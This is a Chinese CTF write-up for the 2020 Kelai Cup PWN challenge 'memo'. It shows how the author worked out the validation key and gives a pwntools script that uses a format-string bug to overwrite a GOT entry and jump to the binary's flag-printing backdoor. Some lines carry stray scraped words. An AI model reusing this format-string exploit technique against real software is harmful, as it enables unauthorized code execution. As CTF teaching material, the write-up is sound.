2020科來杯PWN銅牌2-memo


跟去年那個格式化字符串漏洞的題同樣,只是改了改 key 的值,驗證過程是這樣的web



注意那個 v2 是 esp+Eh 而咱們的 s 是 esp+Ah,也就是說輸入的 6 個 key 有兩個會寫到 v2 上,v2 是咱們可控的,那個 SBYTE1 不知道是啥,對着去年省賽用 angr 解出來的 key 猜想是第二位,SBYTE1(v2) 就是 s 的最後一位了docker

s[0]=81 即 Q
81 * SBYTE1(v2) =4131 獲得 SBYTE1(v2) 爲 51 即 3
s[2] / SBYTE1(v2) = 2 獲得 s[2] = 102 即 f
SBYTE1(v2) + (char)v2 = 141 的 (char)v2 = 90 即 Z
(char)v2 - s[1] = 18 得 s[1] = 72 即 H
那麼如今是:QHf?Z3,s[3] 我取了個 0 成功了


QHf0Z3,拿到 key 以後就是簡單的格式化字符串漏洞了,程序自己有個後門,能夠 cat flag微信



數一下偏移在第五個編輯器



而後直接用 fmtstr_payload()url

from pwn import *
#p=process('./memo')
p=remote('10.100.100.2',10999)
p.recvuntil("Key:")
p.sendline("QHf0Z3")
p.recvuntil("your msg:")
payload = fmtstr_payload(5, {0x804C018:0x8049211})
p.sendline(payload)
p.interactive()


====== 完 ======spa


這道題當時一打開發現跟去年的差很少,激動的立刻打開虛擬機進了 docker,結果忘了 angr 的 docker 是咋用的了 Orz....net

把虛擬機快照還原到以前剛安裝 angr 的那個,在虛擬機的 history 命令中找到了個 su angr(還好當時輸錯了終端2333),結果用存的幾個模板沒跑出來 key,又懵了3d

後來仍是靠本身看僞代碼算出來那個 keycode

本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。blog

相關文章
相關標籤/搜索